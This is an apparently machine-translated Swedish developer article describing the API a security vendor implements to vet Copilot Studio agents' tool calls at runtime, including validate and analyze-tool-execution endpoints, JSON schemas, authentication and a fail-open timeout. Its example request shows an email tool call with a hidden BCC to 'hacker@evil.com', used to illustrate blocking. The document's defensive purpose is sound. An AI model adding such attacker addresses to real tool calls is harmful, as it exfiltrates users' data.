Skapa en hotidentifieringslösning i realtid för Copilot Studio-agenter

Organisationer kan lägga till ett säkerhetslager för sina Copilot Studio-agenter genom att ansluta dem till ett system för identifiering av hot under körning. När agenten är ansluten anropar den systemet vid körning. Agenten förser systemet med data så att systemet kan avgöra om ett verktyg som agenten planerar att anropa är legitimt eller inte. Systemet svarar sedan på Copilot Studio med ett svar på antingen "godkänn" eller "blockera", vilket gör att agenten anropar eller hoppar över verktyget i enlighet med detta. Mer information om hur du ansluter agenter till ett befintligt system för extern hotidentifiering finns i Aktivera extern hotidentifiering och skydd för Copilot Studio anpassade agenter.

Den här artikeln riktar sig till utvecklare och beskriver hur du integrerar dina egna funktioner för hotidentifiering som säkerhetsleverantör för Copilot Studio-agenter.

Integreringen baseras på ett API som består av två slutpunkter. Den huvudslutpunkt som du behöver implementera är analyze-tool-execution slutpunkten. Du måste exponera den här slutpunkten som ett gränssnitt för ditt system för hotidentifiering. När kunderna har konfigurerat systemet som sitt externa system för hotidentifiering anropar agenten detta API varje gång det avser att anropa ett verktyg.

analyze-tool-execution Förutom slutpunkten måste du också exponera en andra slutpunkt med namnet validate. Slutpunkten validate används för att kontrollera hälsotillståndet och beredskapen för slutpunkten som en del av systemkonfigurationen.

I följande avsnitt beskrivs varje slutpunkt i detalj.

POST /validera

Avsikt: Verifierar att slutpunkten för hotidentifiering kan nås och fungera. Används för inledande konfigurations- och konfigurationstestning.

Verifiera begäran

• Metod: POST

• URL:https://{threat detection endpoint}/validate?api-version=2025-05-01

• Headers:

  • Auktorisering: Ägartoken för API-autentisering

  • x-ms-correlation-id: GUID för spårning

• Innehåll: Tom

Verifiera svar

200 OK-svarsexempel

{
  "isSuccessful": true,
  "status": "OK"
}

Exempel på felsvar

Om ett fel inträffar (misslyckad HTTP-kod) returnerar slutpunkten en felkod, ett meddelande och valfri diagnostik.

{
  "errorCode": 5031,
  "message": "Validation failed. Webhook service is temporarily unavailable.",
  "httpStatus": 503,
  "diagnostics": "{\\reason\\:\\Upstream dependency timeout\\}"
}

POST /analysverktyg-exekvering

Avsikt: Skickar verktygskörningskontext för riskutvärdering. Utvärderar begäran om verktygskörning och svarar på om verktygskörningen ska tillåtas eller blockeras.

Begäran om analys av verktygsutförande

• Metod: POST

• URL:https://{threat detection endpoint}/analyze-tool-execution?api-version=2025-05-01

• Headers:

  • Auktorisering: Ägartoken för API-autentisering
  • Innehållstyp: program/json

• Innehåll: JSON-objekt

Exempel på begäran om analysverktygsexekvering

POST https://security.contoso.com/api/agentSecurity/analyze-tool-execution?api-version=2025-05-01
Authorization: Bearer XXX……
x-ms-correlation-id: fbac57f1-3b19-4a2b-b69f-a1f2f2c5cc3c
Content-Type: application/json

{
  "plannerContext": {
    "userMessage": "Send an email to the customer",
    "thought": "User wants to notify customer",
    "chatHistory": [
      {
        "id": "m1",
        "role": "user",
        "content": "Send an email to the customer",
        "timestamp": "2025-05-25T08:00:00Z"
      },
      {
        "id": "m2",
        "role": "assistant",
        "content": "Which customer should I email?",
        "timestamp": "2025-05-25T08:00:01Z"
      },
      {
        "id": "m3",
        "role": "user",
        "content": "The customer is John Doe",
        "timestamp": "2025-05-25T08:00:02Z"
      }
    ],
    "previousToolOutputs": [
      {
        "toolId": "tool-123",
        "toolName": "Get customer email by name",
        "outputs": {
          "name": "email",
          "description": "Customer's email address",
          "type": {
            "$kind": "String"
          },
          "value": "customer@foobar.com"
        },
        "timestamp": "2025-05-25T08:00:02Z"
      }
    ]
  },
  "toolDefinition": {
    "id": "tool-123",
    "type": "PrebuiltToolDefinition",
    "name": "Send email",
    "description": "Sends an email to specified recipients.",
    "inputParameters": [
      {
        "name": "to",
        "description": "Receiver of the email",
        "type": {
          "$kind": "String"
        }
      },
      {
        "name": "bcc",
        "description": "BCC of the email",
        "type": {
          "$kind": "String"
        }
      }
    ],
    "outputParameters": [
      {
        "name": "result",
        "description": "Result",
        "type": {
          "$kind": "String"
        }
      }
    ]
  },
  "inputValues": {
    "to": "customer@foobar.com",
    "bcc": "hacker@evil.com"
  },
  "conversationMetadata": {
    "agent": {
      "id": "agent-guid",
      "tenantId": "tenant-guid",
      "environmentId": "env-guid",
      "isPublished": true
    },
    "user": {
      "id": "user-guid",
      "tenantId": "tenant-guid"
    },
    "trigger": {
      "id": "trigger-guid",
      "schemaName": "trigger-schema"
    },
    "conversationId": "conv-id",
    "planId": "plan-guid",
    "planStepId": "step-1"
  }
}

Svar på analysverktygsutförande

200 Okej

När begäran är giltig utvärderas det verktyg som anges i begäran och tillåts eller blockeras, baserat på de definierade kriterierna. Svaret kan innehålla följande fält:

• blockAction (booleskt): Om åtgärden ska blockeras
• reasonCode (heltal, valfritt): Numerisk kod som förklarar orsaken till blocket
• reason (sträng, valfritt): Förklaring som kan läsas av människor
• diagnostik (objekt, valfritt): Annan information för spårning eller felsökning

Exempel på tillåtna svar

{
  "blockAction": false
}

Exempel på blockeringssvar

{
  "blockAction": true,
  "reasonCode": 112,
  "reason": "The action was blocked because there is a noncompliant email address in the BCC field.",
  "diagnostics": "{\\flaggedField\\:\\bcc\\,\\flaggedValue\\:\\hacker@evil.com\\}"
}

Exempel på felsvar

Om begäran inte är giltig returneras ett felsvar med en felkod, ett meddelande, HTTP-status och valfri diagnostik.

{
  "errorCode": 4001,
  "message": "Missing required field: toolDefinition",
  "httpStatus": 400,
  "diagnostics": "{\\missingField\\:\\toolDefinition\\,\\traceId\\:\\abc-123\\}"
}

Referens för strukturerna för begäran och svar

I följande tabeller beskrivs innehållet i olika objekt som används i begärande- och svarsorganen för slutpunkterna.

Valideringssvar

Analysera Verktygsutförandesvar

Felmeddelande

Utvärderingsbegäran

PlannerContext

Chattmeddelande

VerktygKörningsUtdata

ExecutionOutput

Verktygsdefinition

Verktygsinmatning

Verktygsutdata

Konversationsmetadata

Agentkontext

Användarkontext

TriggerContext

Autentisering

Den integrering du utvecklar bör använda Microsoft Entra ID autentisering. Följ anvisningarna i Integrera appar som utvecklarna skapar.

Stegen att utföra inkluderar följande:

• Skapa en appregistrering för resursen i din hyresgäst.
• Exponera ett omfång för ditt webb-API. Det exponerade omfånget måste vara bas-URL:en för resursen som kunderna anropar. Om API-URL:en till exempel är https://security.contoso.com/api/threatdetectionmåste det exponerade omfånget vara https://security.contoso.com.
• Beroende på hur du implementerar din tjänst måste du implementera auktoriseringslogik och verifiera inkommande token. Du måste dokumentera hur kunden måste auktorisera sina appar. Det finns flera sätt att göra det, till exempel genom att använda en tillåtslista med app-ID:n eller rollbaserad åtkomstkontroll (RBAC).

Krav på svarstid

Agenten förväntar sig ett svar från hotidentifieringssystemet inom mindre än 1 000 ms. Du bör se till att slutpunkten svarar på anropet inom den här tidsramen. Om systemet inte svarar i tid beter sig agenten som om ditt svar är "tillåt" och anropar verktyget.

API-versionshantering

I begäranden anges API-versionen via en api-version frågeparameter (till exempel api-version=2025-05-01). Implementeringen bör vara tolerant mot andra oväntade fält och bör inte misslyckas om nya värden läggs till i framtiden. Partners ska inte verifiera API-versionen eftersom alla versioner just nu anses vara icke-brytande. Partnerna bör spåra API-versionerna men inte avslå begäran när de ser en ny version.